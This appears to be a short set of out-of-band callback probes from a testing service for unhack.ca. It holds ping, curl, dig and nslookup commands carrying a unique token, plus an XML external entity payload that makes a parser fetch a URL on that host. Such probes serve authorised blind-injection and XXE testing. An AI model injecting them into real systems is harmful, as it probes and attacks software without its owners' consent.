$ ping -c1 -p 00290463abb4881f9daa6707aff33200 unhack.ca
$ curl http://unhack.ca/p/290463abb4881f9daa6707aff332
$ dig 290463abb4881f9daa6707aff332 @unhack.ca
$ dig 290463abb4881f9daa6707aff332.ns.unhack.ca
C:\> nslookup 290463abb4881f9daa6707aff332 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/290463abb4881f9daa6707aff332">]> <foo>&xxe;</foo>